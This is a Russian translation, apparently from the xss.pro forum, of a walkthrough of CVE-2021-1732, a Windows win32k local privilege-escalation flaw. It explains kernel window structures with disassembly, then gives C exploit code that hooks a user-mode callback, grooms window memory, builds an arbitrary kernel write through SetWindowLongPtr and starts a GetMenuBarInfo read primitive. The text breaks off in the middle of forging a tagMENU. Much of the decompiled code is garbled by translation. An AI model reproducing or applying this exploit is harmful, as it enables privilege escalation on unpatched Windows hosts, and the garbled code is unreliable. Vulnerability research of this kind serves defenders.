Оригинальная статья
Переведено специально для xss.proКамнями кадать Jolah Milovski
Введение
1. Описание уязвимости
В процессе создания окна функцией win32kfull!xxxCreateWindowEx, когда созданный оконный объект имеет расширенную память, он вернется на пользовательский уровень через функцию KeUserModeCallback для подачи заявки на требуемую память. При возврате к ядру для продолжения выполнения адрес, указанный в функции пользовательского уровня, будет сохранен в элементе pExtraBytes объекта окна со смещением 0x128. Когда пользовательский уровень вызывает функцию SetWindowLongPtr для окна, функция будет использовать pExtraBytes для указания целевого адреса для записи. Захватив выполнение функции пользовательского уровня, функция SetWindowLongPtr может быть записана на недопустимый адрес для генерации BSOD, а cbwndExtra других окон может быть расширена путем вычислений, тем самым реализуя произвольное чтение и запись адреса и, наконец, реализуя повышение привилегий.2. Экспериментальная среда
- ОС: Win10 x64 1909 Профессиональная
- Компилятор: Visual Studio 2017
- Отладчик: IDA Pro, WinDbg
2. Анализ уязвимостей
1. Ключевые элементы структуры
Новая версия Win10 изменяет многие структуры в win32k* и не экспортирует их. Таким образом, следующие члены могут быть получены только путем предположений. Первый — это структура tagTHREADINFO, в которой хранится информация о потоке, а по смещению 0x1C0 хранится структура tagDESKTOP:
Код:
1: kd> dt tagTHREADINFO
+0x1C0 rpdesk : Ptr64 tagDESKTOP
Смещение TagDESKTOP 0x80 сохраняет pheapDesktop, который сохраняет базовый адрес кучи рабочего стола:
Код:
0: kd> dt tagDESKTOP
+0x080 pheapDesktop : Ptr64 tagWIN32HEAP
В tagWND произошли большие изменения. Расширенная память окна больше не находится непосредственно после tagWND. Когда флаги по смещению 0xE8 не содержат метки 0x800, адрес расширенной памяти хранится непосредственно в pExtraBytes 0x128. Флаги содержат метку 0x800. В это время расширенная память существует в куче рабочего стола, а смещение от базового адреса кучи рабочего стола хранится в pExtraBytes 0x128. Смещение 0x28 указывает на структуру tagWDNK, а смещения 0x8 и 0x30 сохраняют смещение адреса, на которое указывает 0x28, до адреса кучи рабочего стола:
Код:
2: kd> dt tagWND
+0x000 h : Ptr64 Void
+0x008 DesktopOffset : Uint8B
+0x010 pti : Ptr64 tagTHREADINFO
+0x018 rpdesk : Ptr64 tagDESKTOP
+0x020 pSelf : Ptr64 tagWND
+0x028 ptagWNDK : Ptr64 tagWNDK
+0x030 DesktopOffset : Uint8B
+0x058 Left : Uint4B
+0x05C Right : Uint4B
+0x098 spMenu : Ptr64 tagMENU
+0x0C8 cbwndExtra : UInt4B
+0x0E8 Flags : UInt4B
+0x128 pExtraBytes : Uint8B
На tagMENU указывает смещение 0xA8, здесь нужно только знать, что pSelf структуры tagMENU со смещением 0x98 указывает на сам tagMENU, а структура tagWDNK 0x28 выглядит следующим образом:
Код:
struct tagWNDK
{
ULONG64 hWnd; //+0x00
ULONG64 OffsetToDesktopHeap;//+0x08 tagWNDKRelative Desktop Heap Base Address Offset
ULONG64 state; //+0x10
DWORD dwExStyle; //+0x18
DWORD dwStyle; //+0x1C
BYTE gap[0x38];
DWORD rectBar_Left; //0x58
DWORD rectBar_Top; //0x5C
BYTE gap1[0x68];
ULONG64 cbWndExtra; //+0xC8 窗口扩展内存的大小
BYTE gap2[0x18];
DWORD dwExtraFlag; //+0xE8 Determine SetWindowLong addressing mode
BYTE gap3[0x10]; //+0xEC
DWORD cbWndServerExtra; //+0xFC
BYTE gap5[0x28];
ULONG64 pExtraBytes; //+0x128 Mode 1: Kernel Offset Mode 2: User State Pointer
};
2. Анализ функции HMAllocObject
Функция определяется следующим образом: если третий параметр bType указан как TYPE_WINDOW(0x1), он будет использоваться для создания объекта окна:
Код:
PVOID HMAllocObject(PTHREADINFO ptiOwner,
PDESKTOP pdeskSrc,
BYTE bType,
DWORD size);
Основной код функции выглядит следующим образом:
Код:
unsigned __int64 __fastcall hmallocobject (__ int64 ptiowner, __int64 pdesksrc, unsigned __int8 btype, unsigned into))
{{
v9 = *((_ word *) & gahti + 0xc *type + 6);
if ((V9 & 0x10)! = 0 && PDESKSRC)
{{
if (int) isdesktopallocSupported () <0)
Goto label_67;
tagwnd = (unsignet __int64) hmallocateuseusersolailetype (v5, v9, type); // Create a tagwnd object
if (! tagwnd)
Goto label_67;
ptagwndk = desktopalloc (pDESKSRC,
*(unsigned int *) ((char *) & gahti + v38 + 0x10),
(UnsigNed __int8) Type << 16 | 5U); // Create a tagwndk object
*(_ QWord *) (tagwnd + 0x28) = ptagwndk; // tagwnd-> ptagwndk assigned to the Tagwndk object created
if (! ptagwndk)
{{
HMFREEUSERORISOLOTEDTYPE (v9, Type, (void *) tagwnd);
Goto label_67;
}
LockObjectAssignment (void **) (tagwnd + 0x18), (void *) pdesksrc);
ptagwndk = *(_ qWord *) (tagwnd + 0x28);
*(_ QWord *) (tagwnd + 0x20) = tagwnd; // assign a value for tagwnd-> p set
*(_ QWord *) (tagwnd + 0x30) = ptagwndk - *(_ qword *) (pDesksrc + 0x80); // Plagwndk and PHEAPDESKTOP's offset assignment to Tagwnd at 0x30
}
hwnd = (int) v15 | (UNSIGNED __INT64) ( *(unsigned __int16 *) ((char *) qWord_1C0215758
+ V15 * (unsigned into) dword_1C0215760
+ 0x1a) << 16); // Get the window handle
*(_ QWord *) tagwnd = hwnd; // assign a value to tagwnd-> hwnd
if ( *(_ dword *) ((char *) & gahti + v38 + 0x10)
{{
ptagwndk = *(_ qWord *) (tagwnd + 0x28);
*(_ QWord *) ptagwndk = hwnd; // Assign a value to ptagwndk-> hwnd
*(_ QWord *) (ptagwndk + 8) = *(_ qWord *) (tagwnd + 0x30); // The offset assignment of PTAGWNDK and PHEAPDESKTOP to PTAGWNDK offset 0x8
}
Return tagwnd;
}
Анализ функции xxxCreateWindowEx
Получим rpdesk из gptiCurrent, а затем вызовите функцию HMAllocateObject для применения к объекту tagWND:
Код:
.text:00000001C003BCCB mov rax, cs:__imp_gptiCurrent
.text:00000001C003BCD2 mov r14, [rax]
.text:00000001C003BCD5 mov [rsp+4E8h+var_488], r14
.text:00000001C003BCDA mov [rsp+4E8h+var_370], r14
.text:00000001C003C1E2 mov r15, [rsp+4E8h+var_370]
.text:00000001C003BDDC mov rax, [r14+1C0h] ; rax = tagTHREADINFO->rpdesk
.text:00000001C003BDE3 mov [rsp+4E8h+rpdesk], rax
// 省略部分代码
.text:00000001C003C198 xor ebx, ebx
.text:00000001C003C1AC lea esi, [rbx+1]
.text:00000001C003C347 mov r9d, 150h ; r9d = 0x150
.text:00000001C003C34D mov r8b, sil ; r8d = 1
.text:00000001C003C350 mov rdx, [rsp+4E8h+pdesk] ; rdx = rpdesk
.text:00000001C003C358 mov rcx, r15 ; rcx = ptiCurrent
.text:00000001C003C35B call cs:__imp_HMAllocObject
.text:00000001C003C362 nop dword ptr [rax+rax+00h]
.text:00000001C003C367 mov r15, rax ; Assign tagWND to r15
.text:00000001C003C36A mov [rsp+4E8h+var_tagWND], rax
.text:00000001C003C372 test rax, rax
.text:00000001C003C375 jnz short loc_1C003C3BF
Вызовите tagWND::RedirectedFieldcbwndExtra<int>::operator!=, чтобы оценить cbWndExtra, чтобы определить, есть ли расширенная память.Если она существует, она вызовет xxxClientAlloWindowClassExtraBytes для создания расширенной памяти:
Код:
.text:00000001C003CDDB mov dword ptr [rsp+4E8h+var_3F8], edi ; edi=0
.text:00000001C003CDE2 lea rcx, [r15+0B1h]
.text:00000001C003CDE9 lea rdx, [rsp+4E8h+var_3F8]
.text:00000001C003CDF1 call ??9?$RedirectedFieldcbwndExtra@H@tagWND@@QEBAEAEBH@Z ; tagWND::RedirectedFieldcbwndExtra<int>::operator!=(int const &)
.text:00000001C003CDF6 test al, al
.text:00000001C003CDF8 jz short loc_1C003CE44
.text:00000001C003CDFA mov rax, [r15+28h] ; rax = tagWND->ptagWNDK
.text:00000001C003CDFE mov ecx, [rax+0C8h] ; rcx = tagWNDK->cbwndExtra
.text:00000001C003CE04 call xxxClientAllocWindowClassExtraBytes
.text:00000001C003CE09 mov rcx, rax ; Request memory address assigned to ecx
.text:00000001C003CE0C mov rax, [r15+28h] ; rax = tagWND->ptagWNDK
.text:00000001C003CE10 mov [rax+128h], rcx ; Application memory address assigned to tagWNDK->pExtraBytes
4. Анализ функции xxxClientAllocWindowClassExtraBytes
Основной код функции xxxClientAllocWindowClassExtraBytes выглядит следующим образом: функция вызывает KeUserModeCallback, чтобы инициировать обратный вызов пользовательского уровня для применения к памяти. После возврата с пользовательского уровня функция оценит длину вывода и адрес вывода, после чего вернет запрошенный адрес памяти:
Код:
const void *__fastcall xxxClientAllocWindowClassExtraBytes(SIZE_T Length)
{
LODWORD(pInputBuffer) = Length;
ret = KeUserModeCallback(0x7Bi64, &pInputBuffer, 4i64, &pOutputBuffer, &nOutLen);
if ( ret < 0 || (_DWORD)nOutLen != 0x18 ) //Output length equal to 0x18
return 0i64;
v3 = pOutputBuffer;
if ( pOutputBuffer + 1 < pOutputBuffer || (unsigned __int64)(pOutputBuffer + 1) > *(_QWORD *)MmUserProbeAddress )
v3 = *(__int64 **)MmUserProbeAddress;
pAllocBuffer = (const void *)*v3;
ProbeForRead(pAllocBuffer, size, v5 != 0 ? 1 : 4);
return pAllocBuffer;
}
Реализация функции пользовательского уровня показана ниже, функция обращается за памятью необходимого размера через RtlAllocateHeap, затем помещает ее в Result[0], а затем возвращает запрошенную память через массив Result в ядро через функцию NtCallbackReturn слой, второй параметр используется для указания длины возвращаемых данных:
5. Анализ функции xxxSetWindowLongPtr
Функция xxxSetWindowLongPtr используется для записи в расширенную область окна. Когда nIndex меньше 0, функция вызовет xxxSetWindowData для записи значения:
Код:
.text:00000001C008D383 test edi, edi ; nIndex >= 0则跳转
.text:00000001C008D385 jns loc_1C008D487
.text:00000001C008D38B mov r9d, r12d
.text:00000001C008D38E mov r8, r15
.text:00000001C008D391 mov edx, edi
.text:00000001C008D393 mov rcx, rsi ; struct tagWND *
.text:00000001C008D396 call xxxSetWindowData
.text:00000001C008D39B mov rdi, rax
Если nIndex больше или равно 0, функция оценит, больше ли nIndex + 8, чем cbwndExtra, если больше, установит ошибку, а затем выйдет из функции:
Код:
.text:00000001C008D487 loc_1C008D487:
.text:00000001C008D487 mov r8, [rsi+28h] ; r8 = tagWND->ptagWNDK
.text:00000001C008D48B mov ecx, [r8+0C8h] ; ecx = ptagWNDK->cbwndExtra
.text:00000001C008D492 mov r9d, [r8+0FCh] ; 该偏移的成员为知,但是值为0
.text:00000001C008D499 add ecx, r9d
.text:00000001C008D49C mov eax, edi ; eax = nIndex
.text:00000001C008D49E add rax, 8
.text:00000001C008D4A2 cmp rax, rcx
.text:00000001C008D4A5 ja loc_1C008D696 ; 如果nIndex + 8 > cbwndExtra,则跳转
.text:00000001C008D696 loc_1C008D696:
.text:00000001C008D696 mov ecx, 585h
.text:00000001C008D69B call UserSetLastError
.text:00000001C008D6A0 test bl, bl
.text:00000001C008D6A2 jnz loc_1C01855D0
.text:00000001C008D6A8 xor eax, eax
.text:00000001C008D6AA jmp loc_1C008D3A9
Если nIndex + 8 <= cbwndExtra, функция определит, помечен ли объект окна 0x800, если есть метка 0x800, регистру r8 будет присвоено значение nIndex + pExtraBytes:
Код:
text: 00000001c008d4e2 test dword ptr [R8+0E8H], 800H; ptagwndk-> Flags contains 0x800 marks
.text: 00000001c008d4ed 4ed jnz Loc_1C018566C
.text: 00000001C008d4F3 MOV Rax, [R8+128H]; Rax = ptagwndk-> PextRabytes
.text: 00000001C008d4Fa Movsxd R8, EDI; R8 = NINDEX
.text: 00000001C008d4FD ADD R8, RAX; R8 = Nindex + PextRabytes
Без флага 0x800 регистру r8 присваивается значение pheapDesktop + nIndex + pExtraBytes:
Код:
.text:00000001C018566C loc_1C018566C:
.text:00000001C018566C mov rdx, [r8+128h] ; rdx = ptagWNDK->pExtraBytes
.text:00000001C0185673 mov rax, [rsi+18h] ; rax = tagWND->rpdesk
.text:00000001C0185677 movsxd rcx, edi ; rcx = nIndex
.text:00000001C018567A mov r8, [rax+80h] ; r8 = tagDESKTOP->pheapDesktop
.text:00000001C0185681 add r8, rcx ; r8 = pheapDesktop + nIndex
.text:00000001C0185684 add r8, rdx ; r8 = pheapDesktop + nIndex + pExtraBytes
.text:00000001C0185687 jmp loc_1C008D500
Независимо от того, помечен ли он 0x800 или нет, после назначения r8 функция сохранит содержимое адреса, на который указывает r8, в локальную переменную и назначит dwNewLong адресу, на который указывает r8:
Код:
.text: 00000001C008d500 LOC_1C008D500:
.text: 00000001C008d500 MOV RDI, [R8]
.text: 00000001c008d503 MOV [RSP+88H+VAR_OLDNEW], RDI
.text: 00000001C008d508 MOV [R8], R15; assigned dwnewlong to the address pointed by the register
.text: 00000001c008d50b JMP LOC_1C008d39e
3. Проверка уязвимости
1. Изменить pExtraBytes
Поскольку функция xxxCreateWindowEx не проверяет правильность адреса, указанного пользовательским уровнем через функцию NtCallbackReturn, она присваивает его pExtraBytes объекта окна. При вызове SetWindowLongPtr в соответствующем окне pExtraBytes будет напрямую использоваться для указания адресов чтения и записи. Следовательно, перехватив xxxClientAllocWindowClassExtraBytes пользовательского уровня, можно указать pExtraBytes как конкретное значение для запуска BSOD.Для того, чтобы модифицировать функцию в указанном окне, при первом создании окна запускающей уязвимости размер расширенной памяти, то есть cbwndExtra, нужно указать в виде конкретного значения:
Код:
BOOL InitTriggerWnd()
{
BOOL bRet = TRUE;
HINSTANCE handle = NULL;
handle = GetModuleHandle(NULL);
if (!handle)
{
bRet = FALSE;
ShowError("GetModuleHandle", GetLastError());
goto exit;
}
PCHAR pClassName = "Trigger";
WNDCLASSEX wndClass = { 0 };
wndClass.cbSize = sizeof(wndClass);
wndClass.lpfnWndProc = DefWindowProc;
wndClass.style = CS_VREDRAW | CS_HREDRAW;
wndClass.cbWndExtra = g_dwWndExtra; // 指定特定的大小
wndClass.hInstance = handle;
wndClass.lpszClassName = pClassName;
if (!RegisterClassEx(&wndClass))
{
bRet = FALSE;
ShowError("RegisterClassEx", GetLastError());
goto exit;
}
g_hTriggerWnd = CreateWindowEx(WS_EX_NOACTIVATE,
pClassName,
NULL,
WS_DISABLED,
0, 0, 0, 0,
NULL,
NULL,
handle,
NULL);
if (!g_hTriggerWnd)
{
bRet = FALSE;
ShowError("CreateWindowEx", GetLastError());
goto exit;
}
exit:
return bRet;
}
Далее, в функции можно судить о том, является ли оно целевым окном по размеру применяемой памяти:
Код:
NTSTATUS MyxxxClientAllocWindowClassExtraBytes(PVOID arg0)
{
if (*(PDWORD)arg0 == g_dwWndExtra)
{
BYTE bRes[0x18] = { 0 };
// Set tagWND->pExtraBytes
*(PULONG64)bRes = 0x100;
return fnNtCallbackReturn(bRes, sizeof(bRes), 0);
}
return g_orgClientAllocWindowExtraBytes(arg0);
}
В это время вы можете установить точку останова на позиции ключа в xxxSetWindowLongPtr, потому что Флаги созданного оконного объекта не будут помечены 0x800, поэтому функция будет напрямую вынимать pExtraBytes для чтения и записи, а адрес в это время является указанным недопустимым 0x100. Само собой разумеется, что BSOD произойдет, если выполнение продолжится, но на самом деле, если функция продолжит работу, функция выйдет напрямую (должен быть какой-то механизм обработки).
2. Анализ функции xxxConsoleControl
xxxSetWindowLongPtr будет использовать tagWND->Flags для выбора различных способов указания адреса для чтения и записи.Чтобы добавить тег 0x800 к Flags, это можно реализовать через функцию xxxConsoleControl, которая определяется следующим образом:
Код:
__int64 __fastcall xxxConsoleControl(int nIndex,
struct _CONSOLE_PROCESS_INFO *pInfo,
int nInLength);
Чтобы получить код, изменяющий маркер, параметр nIndex равен 6, а параметр nInLength равен 0x10. После выполнения этих двух пунктов функция xxxConsoleControl возьмет дескриптор окна из параметра pInfo и получит соответствующий объект окна через ValidateHwnd:
Код:
.text:00000001C00E0571 mov edi, r8d ; edi = nLength
.text:00000001C00E0580 test ecx, ecx
.text:00000001C00E0582 jz loc_1C01A3F71
.text:00000001C00E0588 sub ecx, 1
.text:00000001C00E058B jz loc_1C00E0671
.text:00000001C00E0591 sub ecx, 1
.text:00000001C00E0594 jz loc_1C01A3F5B
.text:00000001C00E059A sub ecx, 1
.text:00000001C00E059D jz loc_1C00E0686
.text:00000001C00E05A3 sub ecx, 1
.text:00000001C00E05A6 jz loc_1C01A3F30
.text:00000001C00E05AC sub ecx, 1 ; nIndex - 5 != 0
.text:00000001C00E05AF jnz loc_1C00E06A3
// Omit part of the code
.text:00000001C00E06A3 loc_1C00E06A3:
.text:00000001C00E06A3 cmp ecx, 1 ; nIndex = 6不跳转
.text:00000001C00E06A6 jnz loc_1C01A3F12
.text:00000001C00E06AC cmp edi, 10h ; nInLength == 0x10不跳转
.text:00000001C00E06AF jnz loc_1C01A3F71
.text:00000001C00E06B5 mov rcx, [rdx] ; rcx = [pInfo]
.text:00000001C00E06B8 call cs:__imp_ValidateHwnd
.text:00000001C00E06BF nop dword ptr [rax+rax+00h]
.text:00000001C00E06C4 mov rdi, rax ; rdi = tagWND
Определите, отмечены ли флаги 0x800:
Код:
text:00000001C00E0772 test dword ptr [rcx+0E8h], 800h ; tagWND->Flags Does it contain 0x800
.text:00000001C00E077C jz short loc_1C00E07BE
Поскольку созданное окно не помечено 0x800, функция вызовет DesktopAlloc для запроса новой памяти:
Код:
.text: 00000001C00E07BE LOC_1C00E07BE:
.text: 00000001C00E07BE MOV EDX, [RCX+0C8H]; edx = tagwnd-> cbwndextra
.text: 00000001C00E07C4 XOR R8D, R8D
.text: 00000001C00E07C7 MOV RCX, [RDI+18H]; RCX = TAGWND-> RPDESK
.text: 00000001c007cb call desktopalloc
.text: 00000001C00E07d0 MOV R14, RAX; R14 = Application memory address
.text: 00000001c00E07d3 MOV [RSP+0b8h+VAR_HEAP], rax; saved in a local variable
.text: 00000001C007d8 test rax, rax, rax
.text: 00000001C007db JZ LOC_1C01A3F1C
Затем присвойте смещение, полученное вычитанием pheapDesktop из только что созданного адреса памяти, ptagWNDK->pExtraBytes:
Код:
.text: 00000001C00E0876 LOC_1C00E0876:
.text: 00000001C00E0876 MOV Rax, [RDI+18H]; rax = tagwnd-> RPDESK
.text: 00000001C00E087a MOV RCX, R14; RCX is equal to the memory just applied
.text: 00000001c00e087d sub rcx, [rax+80H]; RCX = Newly applying memory minus RPDESK-> PHEAPDESKTOP
.text: 00000001c00e0884 mov rax, [R15]; Rax = tagwnd-> ptagwndk
.text: 00000001C00E0887 MOV [RAX+128H], RCX; PTAGWNDK-> PEXTRABYTES = RCX
.text: 00000001C00E088E JMP LOC_1C00E0790
После этого добавьте тег 0x800 в Flags:
Код:
.text: 00000001C007a2 LOC_1C00E07A2:
.text: 00000001C00E07A2 MOV RAX, [R15]; Rax = tagwnd-> PTAGWNDK
.text: 00000001C007A5 BTS DWORD PTR [RAX+0E8H], 0bh; set PTAGWNDK-> Flags 0xb bit to 1, that is, add 0x800 mark to Flags
3. Триггер уязвимости
Для успешного срабатывания уязвимости необходимо добавить флаг 0x800 в Flags через функцию xxxConsoleControl, но при вызове xxxConsoleControl необходимо передать дескриптор окна.Во время выполнения xxxClientAllocWindowClassExtraBytes в пользовательском слое функция CreateWindow в пользовательский слой еще не вернулся, т.к. не получен дескриптор окна. Однако до того, как функция xxxCreateWindowEx вызовет xxxClientAllocWindowClassExtraBytes, дескриптор окна был назначен смещению объекта окна 0x0.Поэтому сначала может быть создано большое количество окон, а затем часть из них может быть освобождена, так что память, занятая окном, запускающим уязвимость, будет занята этими освобожденными окнами.
Код:
BOOL Init_cve_2021_1732 ()
{{
BOOL BRET = TRUE;
Dword I = 0;
lhmvalidatehandle hmvalidatehandle = null;
Hmvalidatehandle = (LHMVALIDATEHANDLE) gethmvalidatehandle ();
if (! hmvalidatehandle)
{{
bret = false;
Goto EXIT;
}
Hinstance handle = null;
handle = getModulehandle (null);
if (! Handle)
{{
bret = false;
Showerror ("getModulehandle", getLasterRor ());
Goto EXIT;
}
WNDCLASSEX WNDCLASS = {0};
Pchar pClassName = "Leak";
wndclass.cbwndextra = 0x20;
wndclass.cbsize = sizeof (wndclass);
wndclass.style = cs_vredraw | cs_hredraw;
wndclass.hinstance = handle;
wndclass.lpfnwndProc = DEFWINDOWPROC;
wndclass.lpszClassName = pClassName;
If (! Registerclassex (& wandclass))
{{
bret = false;
Showerror ("registerClassex", getLasterRor ());
Goto EXIT;
}
Hwnd hwnd = null;
for (i = 0; I <g_dwwinnum; i ++)
{{
hwnd = createWindowex (WS_EX_NOACTIVATE,
pClassName,
Null,
Ws_disabled,
0, 0, 0, 0, 0,
Null,
Null,
Handle,
Null);
if (! hwnd) Continue;
g_hwnd [i] = hwnd;
g_pwnd [i] = (ulong64) hmvalidatehandle (hwnd, type_window);
}
// Release part of the window, and then create a window that triggers vulnerabilities will take up one of these windows.
For (i = 2; I <g_dwwinnum; i += 2)
{{
if (g_hwnd [i])
{{
Destroywindow (g_hwnd [i]);
}
}
exit:
Return bret;
}
На этом этапе вы можете найти окно, вызвавшее уязвимость, в выпущенном окне, а затем изменить флаг окна, чтобы он возвращал указанный адрес:
Код:
NTSTATUS MyxxxClientAllocWindowClassExtraBytes(PVOID arg0)
{
if (*(PDWORD)arg0 == g_dwWndExtra)
{
HWND hTriggerWnd = NULL;
DWORD i = 0;
for (i = 2; i < g_dwWinNum; i += 2)
{
if (g_hWnd[i])
{
DWORD cbWndExtra = *(PDWORD)(g_pWnd[i] + g_cbWndExtra_offset);
if (cbWndExtra == g_dwWndExtra)
{
hTriggerWnd = (HWND)*(PULONG64)g_pWnd[i];
break;
}
}
}
if (hTriggerWnd)
{
BYTE bInfo[0x10] = { 0 };
// tagWND->Flag |= 0x800
*(HWND *)bInfo = hTriggerWnd;
fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));
BYTE bRes[0x18] = { 0 };
// Set Tagwnd-> PEXTRABYTES
*(PULONG64)bRes = 0xFFFFFF00;
return fnNtCallbackReturn(bRes, sizeof(bRes), 0);
}
else printf("do not find hTriggerWnd\n");
}
return g_orgClientAllocWindowExtraBytes(arg0);
}
Снова установите точку останова на xxxSetWindowLongPtr. В это время флаги окна отмечены 0x800, поэтому адрес памяти для чтения и записи будет рассчитываться разными методами.Этот адрес недействителен:
Продолжение запуска приводит к ошибке BSOD:
4. Использование уязвимостей
Из вышеизложенного можно получить следующее:
- ptagWNDK сохраняется в tagWNDK + 8 — pheapDesktop
- При добавлении метки 0x800 через xxxConsoleControl pExtraBytes окна будет изменен на вновь примененный адрес памяти за вычетом значения pheapDesktop.
- Когда флаги содержат 0x800, адрес, который будет читаться и записываться SetWindowLongPtr, представляет собой значение pheapDesktop + nIndex + pExtraBytes.
- Когда Flags не содержит флаг 0x800, адрес, который будет читаться и записываться SetWindowLongPtr, равен pExtraBytes + nIndex.
- Создайте два окна, tagWND0, tagWND1
- Добавьте метку 0x800 к tagWND0, чтобы tagWND0->pExtraBytes сохранял смещение от pheapDesktop.
- В функции xxxClientAllocWindowClassExtraBytes пользовательского уровня при вызове функции NtCallbackReturn для возврата измените адрес на смещение, сохраненное в tagWND0 + 8, чтобы вызов SetWindowLongPtr в окне, вызывающем уязвимость, мог напрямую расширить cbwndExtra в tagWND0.
- Поскольку pExtraBytes tagWND0 указывает на смещение pheapDesktop, а tagWNDK1 тоже хранится по смещению относительно pheapDesktop, и это значение можно получить через tagWND1 + 8, то можно вычислить смещение tagWND0->pExtraBytes и tagWND1 + 8 shift . А поскольку cbwndExtra tagWND0 увеличен, pExtraBytes tagWND1 можно напрямую изменить через tagWND0.
- Поскольку tagWND1 не имеет метки 0x800, вызов SetWindowLongPtr непосредственно для tagWND1 будет выполнять прямую запись по адресу, на который указывает pExtraBytes, тем самым реализуя произвольную запись адреса.
Код:
if (i == 0)
{
g_qwKernelHeapOffset0 = *(PQWORD)(g_pWnd[i] + 8);
BYTE bInfo[0x10] = { 0 };
*(HWND *)bInfo = g_hWnd[0];
fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));
g_qwWndOffset = *(PQWORD)(g_pWnd[i] + g_ExtraBytes_offset);
}
Bы можете рассчитать смещение, необходимое на шаге 4:
Код:
g_qwKernelHeapOffset1 = *(PQWORD)(g_pWnd[1] + 8);
if (g_qwWndOffset > g_qwKernelHeapOffset1)
{
bRet = FALSE;
printf("g_pWnd[0] offset is invalid!\n");
goto exit;
}
g_qwWndOffset = g_qwKernelHeapOffset1 - g_qwWndOffset;
На этом этапе для окна, вызывающего уязвимость, возвращаемое значение необходимо изменить на сохраненное значение tagWDN0 + 8:
Код:
if (hTriggerWnd)
{
BYTE bInfo[0x10] = { 0 };
// tagWND->Flag |= 0x800
*(HWND *)bInfo = hTriggerWnd;
fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));
BYTE bRes[0x18] = { 0 };
// Set Tagwnd-> PEXTRABYTES
*(PULONG64)bRes = g_qwKernelHeapOffset0;
return fnNtCallbackReturn(bRes, sizeof(bRes), 0);
}
Когда окно для срабатывания уязвимости создано, cbwndExtra tagWND0 может быть расширен функцией:
Код:
//Set the CBWNDEXTRA of G_HWND [0] to 0xffffffff
if (!SetWindowLongPtr(g_hTriggerWnd, g_cbWndExtra_offset, 0xFFFFFFFF) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
Теперь вы можете писать на любой адрес, изменяя pExtraBytes от tagWND1 до tagWND0:
Код:
BOOL WriteData_CVE_2021_1732(PVOID pTarAddress, QWORD qwValue)
{
BOOL bRet = TRUE;
if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + g_ExtraBytes_offset, (QWORD)pTarAddress) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
if (!SetWindowLongPtr(g_hWnd[1], 0, qwValue) && GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
exit:
return bRet;
2.Чтение любого адреса осуществляется функцией GetMenuBarInfo, которая определяется следующим образом, где третий параметр pmbi->rcBar используется для записи считанного значения:
Код:
BOOL
WINAPI
GetMenuBarInfo(
_In_ HWND hwnd,
_In_ LONG idObject,
_In_ LONG idItem,
_Inout_ PMENUBARINFO pmbi);
typedef struct tagMENUBARINFO {
DWORD cbSize;
RECT rcBar;
HMENU hMenu;
HWND hwndMenu;
BOOL fBarFocused:1;
BOOL fFocused:1;
} MENUBARINFO, *PMENUBARINFO;
typedef struct _RECT {
LONG left;
LONG top;
LONG right;
LONG bottom;
} RECT, *PRECT;
Функция ядра, соответствующая GetMenuBarInfo, является функцией xxxGetMenuBarInfo. Основной код этой функции выглядит следующим образом. Существует три проверки. После прохождения проверки адрес, сохраненный в *(spMenu + 0x58), будет использоваться для чтения соответствующего значения средний:
Код:
__int64 __fastcall xxxGetMenuBarInfo(ULONG_PTR pwnd, __int64 idObject, __int64 idItem, __int64 pmbi)
{
switch ( idObject )
{
case -3: // idObject == -3,First place to verify
if ( (*(_BYTE *)(spMenu + 0x1F) & 0x40) != 0 )
goto LABEL_9;
spMenu = *(_QWORD *)(pwnd + 0xA8); // tagWND->spMenu Return if it does not exist, second place to verify
if ( !spMenu )
goto LABEL_9;
SmartObjStackRefBase<tagMENU>::operator=(&kspMenu, spMenu); // kspMenu = spMenu->spSelf
if ( *(_DWORD *)(*kspMenu + 0x40) && *(_DWORD *)(*kspMenu + 0x44)) // *(spMenu + 0x40) != 0 && *(spMenu + 0x44) != 0,Third validation
{
if ( (_DWORD)IdItem ) // idItem == 1
{
ptagWNDk = *(_QWORD *)(pwnd + 0x28);
num_0x60 = 0x60 * IdItem;
rgItemListEntry = *(_QWORD *)(*kspMenu + 0x58);
tarAddr = *(_QWORD *)(0x60 * IdItem + rgItemListEntry - 0x60);// tarAddr = *(spMenu + 0x58)
if ( (*(_BYTE *)(ptagWNDk + 0x1A) & 0x40) != 0 )
{
v49 = *(_DWORD *)(ptagWNDk + 0x60) - *(_DWORD *)(tarAddr + 0x40);
*(_DWORD *)(pmbi + 0xC) = v49;
*(_DWORD *)(pmbi + 4) = v49 - *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x48i64);
}
else // Here it will take the else branch
{
value = *(_DWORD *)(tarAddr + 0x40) + *(_DWORD *)(ptagWNDk + 0x58);// value = *(*(spMenu + 0x58) + 0x40) + ptagWNDK->Left
*(_DWORD *)(pmbi + 4) = value; // Assign value to PMBI-> RCBAR-> LEFT
*(_DWORD *)(pmbi + 0xC) = value + *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x48i64);
}
Value = *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x44i64) + *(_DWORD *)(*(_QWORD *)(pwnd + 0x28) + 0x5Ci64);// Value = *(*(spMenu + 0x58) + 0x44) + ptagWNDK->Right
*(_DWORD *)(pmbi + 8) = Value; // Assign a value to pmbi->rcBar->top
v44 = Value + *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x4Ci64);
}
}
}
}
Первая проверка - просто укажите параметр idObject как -3 при вызове параметра. Вторая проверка заключается в том, что при создании окна необходимо установить spMenu для окна, используемого для эксплуатации:
Код:
if (i == 1)
{
// 从第1个tagWND开始将带有tagMENU对象
hMenu = CreateMenu();
hHelpMenu = CreateMenu();
if (!hMenu || !hHelpMenu)
{
bRet = FALSE;
ShowError("CreateMenu", GetLastError());
goto exit;
}
if (!AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about")) &&
!AppendMenu(hMenu, MF_POPUP, (LONG)hHelpMenu, TEXT("help")))
{
bRet = FALSE;
ShowError("AppendMenu", GetLastError());
goto exit;
}
}
Подделать структуру tagMENU, при подделке обойти третью проверку:
Код:
// Fake tagMENU
HANDLE hProcHeap = NULL;
hProcHeap = GetProcessHeap();
if (!hProcHeap)
{
bRet = FALSE;
